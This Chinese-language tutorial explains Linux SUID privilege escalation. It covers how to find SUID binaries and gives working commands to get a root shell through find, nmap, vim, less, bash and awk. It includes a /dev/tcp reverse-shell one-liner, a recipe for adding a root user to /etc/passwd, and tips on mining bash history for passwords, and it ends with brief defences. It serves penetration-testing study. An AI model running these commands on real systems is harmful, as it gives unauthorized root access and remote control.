浅谈linux suid提权
字数 1296 2025-08-24 07:48:22
Linux SUID提权技术详解
1. SUID基础概念
1.1 什么是SUID
SUID(Set User ID)是Linux中的一种特殊权限,它允许调用者以文件拥有者身份运行该文件。SUID的特点是:
- 当用户运行具有SUID权限的程序时,程序运行进程的属主不是发起者,而是程序文件所属的属主
- 这种权限只在程序执行过程中有效
- 只有root用户的UID是0
1.2 Linux用户管理文件
Linux使用三个主要文件管理用户和组:
/etc/passwd- 存放用户信息/etc/shadow- 存放用户密码信息/etc/group- 存放组信息
/etc/passwd文件每行包含7个字段(冒号分隔):
- 字段1:用户名
- 字段2:用户密码(通常为x,实际密码在shadow文件)
- 字段3:UID
- 字段4:组UID
- 字段5:解释说明字段
- 字段6:用户根目录
- 字段7:登录shell(如
/bin/zsh表示可登录,/sbin/nologin表示不可登录)
2. SUID权限管理
2.1 设置SUID权限
chmod u+s filename # 设置SUID权限
chmod u-s filename # 移除SUID权限
设置后文件权限会显示为-rwS(大写S表示SUID已设置)
2.2 查找SUID文件
常用命令查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
命令参数解释:
/:从根目录开始查找-perm:搜索指定权限-u=s:查找root用户拥有的SUID文件-type f:查找常规文件2>/dev/null:将错误信息重定向到空设备
3. 常见SUID提权方法
3.1 find命令提权
# 基本提权方法
find 具有suid权限的filename -exec whoami \; -quit
find 具有suid权限的filename -exec /bin/sh -p \; -quit
# 具体示例
touch 1.txt
/usr/bin/find 1.txt -exec whoami \;
# 反弹shell
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;
3.2 nmap提权
适用于nmap 2.02至5.21版本:
nmap --interactive
nmap> !sh
sh-3.2# whoami
高版本nmap可通过nse脚本执行命令(但无法提权):
# 创建1.nse文件内容:
os.execute('/bin/sh')
# 执行
nmap --script=1.nse
3.3 less/more提权
less /etc/passwd
# 在交互界面输入
!/bin/sh
# 或
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
注意:需要读取较大的文件才能进入翻页功能
3.4 nano提权
nano
# 快捷键
Ctrl+R
Ctrl+X
# 进入shell
3.5 cp/mv覆盖提权
通过覆盖/etc/passwd文件提权:
# 生成密码
openssl passwd -1 -salt test testaaa
# 添加特权用户
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
# 覆盖/etc/passwd
cp passwd /etc/passwd
# 切换用户
su - test
3.6 vim提权
当vim配置了SUID权限时:
vim.tiny /etc/passwd
:!/bin/sh
3.7 bash提权
当bash具有SUID权限时:
bash -p
# 检查权限
id
3.8 awk提权
awk 'BEGIN {system("/bin/bash")}'
4. 其他提权方法
4.1 历史记录检查
cat ~/.bash_history
可能泄露敏感信息如root密码
4.2 计划任务提权
检查计划任务:
ls -l /etc/cron*
寻找可修改的用户脚本进行提权
4.3 配置错误提权
使用自动化工具检查系统配置错误:
- linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
- unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
5. 防御措施
- 定期检查系统SUID文件
- 移除不必要的SUID权限
- 保持系统和软件更新
- 限制用户权限
- 监控系统日志
6. 常见具有SUID权限的命令
以下命令常被用于SUID提权:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
- awk
- mv
通过理解这些技术,安全人员可以更好地评估系统安全性,同时管理员可以采取适当措施防止此类提权攻击。